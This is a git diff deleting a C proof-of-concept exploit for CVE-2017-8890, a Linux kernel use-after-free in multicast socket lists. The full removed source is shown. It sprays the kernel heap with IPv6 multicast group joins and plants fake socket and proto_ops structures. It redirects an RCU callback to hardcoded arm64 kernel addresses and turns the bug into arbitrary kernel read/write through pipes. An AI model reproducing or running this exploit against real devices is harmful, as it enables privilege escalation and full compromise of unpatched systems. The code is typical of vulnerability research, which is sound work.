diff --git a/CVE-2017-8890/CVE-2017-8890_PoC.c b/CVE-2017-8890/CVE-2017-8890_PoC.c deleted file mode 100644 index 1c083457bb682f92ba16b0b0aaa61ec228c6cde9..0000000000000000000000000000000000000000 --- a/CVE-2017-8890/CVE-2017-8890_PoC.c +++ /dev/null @@ -1,414 +0,0 @@ -#define _GNU_SOURCE - -#include <sched.h> -#include <stdio.h> -#include <stdlib.h> -#include <sys/select.h> -#include <sys/socket.h> -#include <arpa/inet.h> -#include <netdb.h> -#include <string.h> -#include <unistd.h> -#include <netinet/in.h> -#include <fcntl.h> -#include <time.h> -#include <sys/types.h> -#include <pthread.h> -#include <net/if.h> -#include <errno.h> -#include <assert.h> - -#define HELLO_WORLD_SERVER_PORT 6666 -#define LENGTH_OF_LISTEN_QUEUE 1 -#define SPRAY_SIZE 250 - -#define KERNEL_SOCK_IOCTL 0xffffffc00050f518; -#define KERNEL_SOCK_IOCTL_RET 0xffffffc00050f550; - -/*(gdb) disassemble /s kernel_sock_ioctl -Dump of assembler code for function kernel_sock_ioctl: -./arch/arm64/include/asm/thread_info.h: -76 static inline struct thread_info *current_thread_info(void) -77 { -78 return (struct thread_info *) - 0xffffffc00050f518 <+0>: stp x29, x30, [sp, #-32]! - 0xffffffc00050f51c <+4>: mov x4, #0xffffffffffffffff // #-1 - 0xffffffc00050f520 <+8>: mov x3, sp - 0xffffffc00050f524 <+12>: mov x29, sp - 0xffffffc00050f528 <+16>: and x3, x3, #0xffffffffffffc000 - 0xffffffc00050f52c <+20>: str x19, [sp, #16] - 0xffffffc00050f530 <+24>: ldr x19, [x3, #8] - 0xffffffc00050f534 <+28>: str x4, [x3, #8] - -net/socket.c: -3289 err = sock->ops->ioctl(sock, cmd, arg); - 0xffffffc00050f538 <+32>: ldr x3, [x0, #40] - 0xffffffc00050f53c <+36>: ldr x3, [x3, #72] - 0xffffffc00050f540 <+40>: blr x3 - -./arch/arm64/include/asm/thread_info.h: -78 return (struct thread_info *) - 0xffffffc00050f544 <+44>: mov x1, sp - 0xffffffc00050f548 <+48>: and x1, x1, #0xffffffffffffc000 - 0xffffffc00050f54c <+52>: str x19, [x1, #8] - -net/socket.c: -3292 return err; - 0xffffffc00050f550 <+56>: ldr x19, [sp, #16] - 0xffffffc00050f554 <+60>: ldp x29, x30, [sp], #32 - 0xffffffc00050f558 <+64>: ret -End of assembler dump.*/ - -volatile int server_init = 0; -volatile int server_finish = 0; -volatile int client_finish = 0; -volatile int set_fake_next_rcu_init = 0; -volatile int set_fake_next_rcu_finish = 0; -volatile int cpuid = 0; -cpu_set_t mask; -int sockfd[SPRAY_SIZE]; -char *fake_next_rcu_memory; - -struct callback_head { - struct callback_head *next; - void (*func)(struct callback_head *head); -}; - -struct ip_mc_socklist { - struct ip_mc_socklist *next_rcu; - struct ip_mreqn multi; - unsigned int sfmode; - struct ip_sf_socklist *sflist; - struct callback_head rcu; -}; - -typedef enum { - SS_FREE = 0, - SS_UNCONNECTED, - SS_CONNECTING, - SS_CONNECTED, - SS_DISCONNECTING -} socket_state; - -struct socket { - socket_state state; - short type; - unsigned long flags; - struct socket_wq *wq; - struct file *file; - struct sock *sk; - struct proto_ops *ops; -}; - -struct proto_ops { - int family; - void *owner; - void *release; - void *bind; - void *connect; - void *socketpair; - void *accept; - void *getname; - void *poll; - int (*ioctl)(struct socket *, unsigned int, unsigned long); - void *compat_ioctl; - void *listen; - void *shutdown; - void *setsockopt; - void *getsockopt; - void *compat_setsockopt; - void *compat_getsockopt; - void *sendmsg; - void *recvmsg; - void *mmap; - void *sendpage; - void *splice_read; - void *set_peek_off; -}; - -volatile struct ip_mc_socklist *fake_next_rcu; - -void bind_on_cpu(int cpuid) { - int i, now_cpuid = -1; - cpu_set_t get; - CPU_ZERO(&mask); - CPU_SET(cpuid, &mask); - - while (cpuid != now_cpuid) { - sched_setaffinity(0, sizeof(mask), &mask); - now_cpuid = sched_getcpu(); - } - - return; -} - -void *set_fake_next_rcu() { - bind_on_cpu(cpuid); - - // that is a little bit more space then needed to be on the safe side - // fake_next_rcu and fake_socket overlap by 16 bytes and the start - // offset is a max of 0xff and not 0x100 - fake_next_rcu_memory = malloc(sizeof(struct ip_mc_socklist) + sizeof(struct socket) + sizeof(struct proto_ops) + 0x100); - fake_next_rcu = (struct ip_mc_socklist *)((uint64_t)fake_next_rcu_memory | 0xff); - struct socket *fake_socket = (struct socket *)&(fake_next_rcu->rcu); - fake_socket->ops = (struct proto_ops *)(fake_next_rcu_memory + 0x100 + sizeof(struct ip_mc_socklist) + sizeof(struct socket)); - fake_socket->ops->ioctl = (int (*)(struct socket *, unsigned int, long unsigned int))KERNEL_SOCK_IOCTL_RET; - - set_fake_next_rcu_init = 1; - - while(!server_finish) { - fake_next_rcu->rcu.func = (void (* volatile)(struct callback_head *))KERNEL_SOCK_IOCTL; - } - - free(fake_next_rcu_memory); - - set_fake_next_rcu_finish = 1; - - return NULL; -}; - -int read_at_address_pipe(void *address, void *buf, size_t len) { - int ret = 1; - int pipes[2]; - - if (pipe(pipes)) { - perror("read_at_address_pipe pipe failed"); - return 1; - } - - if (write(pipes[1], address, len) == -1) { - perror("read_at_address_pipe write failed"); - goto end; - } - if (read(pipes[0], buf, len) == -1) { - perror("read_at_address_pipe read failed"); - goto end; - } - - ret = 0; -end: - close(pipes[1]); - close(pipes[0]); - return ret; -} - -int write_at_address_pipe(void *address, void *buf, size_t len) { - int ret = 1; - int pipes[2]; - - if (pipe(pipes)) { - perror("write_at_address_pipe pipe failed"); - return 1; - } - - if (write(pipes[1], buf, len) != len) { - perror("write_at_address_pipe write failed"); - goto end; - } - if (read(pipes[0], address, len) != len) { - perror("write_at_address_pipe read failed"); - goto end; - } - - ret = 0; -end: - close(pipes[1]); - close(pipes[0]); - return ret; -} - -void heap_spray_init() { - printf("[Spray] heap_spray_init start\n"); - - for (int i = 0; i < SPRAY_SIZE; ++i) { - sockfd[i] = socket(PF_INET6, SOCK_STREAM, 0); - if (sockfd[i] < 0) { - perror("[Spray] Socket creation failed"); - exit(errno); - } - } - - printf("[Spray] heap_spray_init end\n"); - return; -} - -void heap_spray_run() { - printf("[Spray] heap_spray_run start\n"); - - struct group_req group = {0}; - struct sockaddr_in6 *psin = (struct sockaddr_in6 *) &group.gr_group; - psin->sin6_family = AF_INET6; - psin->sin6_port = 1234; - *(uint64_t *)psin->sin6_addr.s6_addr = (uint64_t)fake_next_rcu; - printf("[Spray] Fake ipv6 address: "); - for (int i = 0; i < 16; ++i) { - printf("%02x", psin->sin6_addr.s6_addr[i]); - } - printf("\n"); - for (int i = 0; i < SPRAY_SIZE; ++i) { - if(setsockopt(sockfd[i], IPPROTO_IPV6, MCAST_JOIN_GROUP, &group, sizeof(group))) { - printf("%d ", i); - perror("[Spray] setsockopt failed"); - exit(errno); - } - } - - printf("[Spray] heap_spray_run end\n"); - return; -} - -void heap_spray_finalize() { - printf("[Spray] heap_spray_finalize start\n"); - - for (int i = 0; i < SPRAY_SIZE; ++i) { - close(sockfd[i]); - } - - printf("[Spray] heap_spray_finalize end\n"); - return; -} - -void *server(void *arg) { - bind_on_cpu(cpuid); - - struct sockaddr_in server_addr; - bzero(&server_addr, sizeof(server_addr)); - server_addr.sin_family = AF_INET; - server_addr.sin_addr.s_addr = htons(INADDR_ANY); - server_addr.sin_port = htons(HELLO_WORLD_SERVER_PORT); - - struct group_req group = {0}; - struct sockaddr_in *psin; - psin = (struct sockaddr_in *) &group.gr_group; - psin->sin_family = AF_INET; - psin->sin_addr.s_addr = htonl(inet_addr("10.10.2.224")); - - int server_socket = socket(PF_INET, SOCK_STREAM, 0); - if (server_socket < 0) { - printf("[Server] Create Socket Failed!"); - exit(EXIT_FAILURE); - } - - if(setsockopt(server_socket, IPPROTO_IP, MCAST_JOIN_GROUP, &group, sizeof(group))) { - perror("[Server] Server Socket Join Group Failed!"); - exit(EXIT_FAILURE); - } - - if (bind(server_socket, (struct sockaddr *) &server_addr, sizeof(server_addr))) { - printf("[Server] Server Bind Port : %d Failed!", HELLO_WORLD_SERVER_PORT); - exit(EXIT_FAILURE); - } - - - if (listen(server_socket, LENGTH_OF_LISTEN_QUEUE)) { - printf("[Server] Server Listen Failed!"); - exit(EXIT_FAILURE); - } - - struct sockaddr_in client_addr; - socklen_t length = sizeof(client_addr); - - server_init = 1; - printf("[Server] accept..... \n"); - int new_server_socket = accept(server_socket, (struct sockaddr *) &client_addr, &length); - if (new_server_socket < 0) { - close(server_socket); - printf("[Server] Server Accept Failed!\n"); - return NULL; - } - - printf("[Server] Close new_server_socket\n"); - close(new_server_socket); - - heap_spray_run(); - - printf("[Server] Close server_socket\n"); - close(server_socket); - - printf("Exploit complete, let's try arbitrary write.\n"); - char tester[8] = {0}; - while (read_at_address_pipe((void *)0xffffffc000a7a830, &tester, 8)) { - printf("AAA\n"); - sleep(1); - } - printf("Turn UAF to arbitrary read/write succeeded.\n"); - - server_finish = 1; - return NULL; -} - -void *client(void *arg) { - bind_on_cpu(cpuid); - - struct sockaddr_in client_addr; - bzero(&client_addr, sizeof(client_addr)); - client_addr.sin_family = AF_INET; - client_addr.sin_addr.s_addr = htons(INADDR_ANY); - client_addr.sin_port = htons(0); - - int client_socket = socket(AF_INET, SOCK_STREAM, 0); - if (client_socket < 0) { - printf("[Client] Create socket failed!\n"); - exit(EXIT_FAILURE); - } - - if (bind(client_socket, (struct sockaddr *) &client_addr, sizeof(client_addr))) { - printf("[Client] Client bind port failed!\n"); - exit(EXIT_FAILURE); - } - - struct sockaddr_in server_addr; - bzero(&server_addr, sizeof(server_addr)); - server_addr.sin_family = AF_INET; - if (inet_aton("127.0.0.1", &server_addr.sin_addr) == 0) { - printf("[Client] Server IP Address error\n"); - exit(EXIT_FAILURE); - } - - server_addr.sin_port = htons(HELLO_WORLD_SERVER_PORT); - socklen_t server_addr_length = sizeof(server_addr); - if (connect(client_socket, (struct sockaddr *) &server_addr, server_addr_length) < 0) { - printf("[Client] cannot connect to 127.0.0.1!\n"); - exit(EXIT_FAILURE); - } - - while (!server_finish) { - sleep(1); - } - - printf("[Client] Close client_socket\n"); - close(client_socket); - client_finish = 1; - - return NULL; -} - -int main(int argc, char *argv[]) { - cpuid = sched_getcpu(); - bind_on_cpu(cpuid); - - heap_spray_init(); - - pthread_t id_server, id_client, id_set_fake_next_rcu; - - pthread_create(&id_set_fake_next_rcu, NULL, set_fake_next_rcu, NULL); - while (!set_fake_next_rcu_init) { - sleep(1); - } - - pthread_create(&id_server, NULL, server, NULL); - while (!server_init) { - sleep(1); - } - - pthread_create(&id_client, NULL, client, NULL); - while (!server_finish || !client_finish || !set_fake_next_rcu_finish) { - sleep(1); - } - - printf("Trying to exit, but kernel will most likely crash on freeing manipulated memory region.\n"); - - heap_spray_finalize(); - - return EXIT_SUCCESS; -}